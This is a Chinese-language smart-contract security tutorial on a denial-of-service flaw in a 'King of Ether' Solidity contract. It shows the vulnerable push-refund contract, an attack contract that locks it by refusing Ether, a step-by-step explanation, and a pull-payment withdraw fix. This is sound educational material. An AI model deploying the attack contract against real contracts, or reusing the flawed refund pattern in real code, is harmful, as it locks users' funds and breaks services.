一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// You can also perform a DOS by consuming all gas using assert.
// This attack will work even if the calling contract does not check
// whether the call was successful or not.
//
// function () external payable {
// assert(false);
// }
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}
这个KingOfEther
合约,msg.sender可以通过claimThrone
传入以太,当传入的以太数值高于balance的时候,这个msg.sender就成为了king,而且在成为king之前,要把之前king传入的以太返还回去:
(bool sent, ) = king.call{value: balance}("");
这个合约乍一看没有什么问题,但是可能会导致拒绝服务攻击,核心原因就在于,这个返回以太的代码不一定成功执行,一旦无法成功执行,就阻塞在这里了。
我们的攻击合约Attack
,核心就是进行了一次KingOfEther
的合约调用,试想一下这样的过程:
- Bob通过claimThrone传入了1 Ether,Bob成为King
- Alice通过claimThrone传入了2 Ether,之前Bob传入的1 Ether又通过call返还了Bob,Alice成为了King
- 此时Attack合约发布了,再由Attack通过claimThrone传入了4 Ether,之前Alice传入的2 Ether又通过call返还了Alice,Attack地址就成为了King
此时合约已经被锁定了
- Tom通过claimThrone传入了5 Ether,按照之前的流程,理应由Tom成为新的King,但实际上,当程序执行到返还Attack传入4 Ether时,由于我们的Attack合约并没有
receive()
或者fallback()
,无法接收以太,于是失败了 - 这样任何新地址都无法成为King,整个合约就是
拒绝服务
的状态
二、预防手段
合约中,不要主动给地址发以太,发以太时也要仔细斟酌整个逻辑,思考会不会发生DoS攻击。像我们这个例子中,就不能主动发送以太,可以自己设置一个withdraw
方法,由用户自己进行提款:
contract KingOfEther {
address public king;
uint public balance;
mapping(address => uint) public balances;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
balances[king] += balance;
balance = msg.value;
king = msg.sender;
}
function withdraw() public {
require(msg.sender != king, "Current king cannot withdraw");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}